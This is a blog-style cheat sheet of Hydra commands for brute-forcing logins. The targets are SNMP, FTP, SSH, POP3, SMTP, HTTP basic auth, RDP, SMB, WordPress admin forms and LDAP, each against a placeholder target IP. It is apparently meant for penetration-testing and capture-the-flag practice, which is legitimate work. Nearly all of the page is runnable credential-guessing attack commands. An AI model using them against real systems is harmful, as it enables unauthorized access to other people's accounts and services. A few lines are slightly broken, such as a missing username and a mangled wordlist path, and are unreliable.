Hydra example

  • Hydra brute force against SNMP

hydra -P password-file.txt -v $ip snmp



  • Hydra FTP known user and rockyou password list

hydra -t 1 -l admin -P /usr/share/wordlists/rockyou.txt -vV $ip ftp


  • Hydra SSH using list of users and passwords

hydra -v -V -u -L users.txt -P passwords.txt -t 1 -u $ip ssh


  • Hydra SSH using a known password and a username list

hydra -v -V -u -L users.txt -p "" -t 1 -u $ip ssh


  • Hydra SSH Against Known username on port 22

hydra $ip -s 22 ssh -l -P big_wordlist.txt


  • Hydra POP3 Brute Force

hydra -l USERNAME -P /usr/share/wordlistsnmap.lst -f $ip pop3 -V


  • Hydra SMTP Brute Force

hydra -P /usr/share/wordlistsnmap.lst $ip smtp -V


  • Hydra attack http get 401 login with a dictionary

hydra -L ./webapp.txt -P ./webapp.txt $ip http-get /admin


  • Hydra attack Windows Remote Desktop with rockyou

hydra -t 1 -V -f -l administrator -P /usr/share/wordlists/rockyou.txt rdp://$ip


  • Hydra brute force SMB user with rockyou:

hydra -t 1 -V -f -l administrator -P /usr/share/wordlists/rockyou.txt $ip smb


  • Hydra brute force a Wordpress admin login

hydra -l admin -P ./passwordlist.txt $ip -V http-form-post '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log In&testcookie=1:S=Location'



  • SMB Brute Forcing

hydra -L usernames.txt -P passwords.txt $ip smb -V -f


  • LDAP Brute Forcing

hydra -L users.txt -P passwords.txt $ip ldap2 -V -f

Popular posts from this blog

Phonebook - Hack the box Write up -- Web LDAP injection

wafwaf -- Hack The Box -- Web SQL injection

Cheat sheet for security+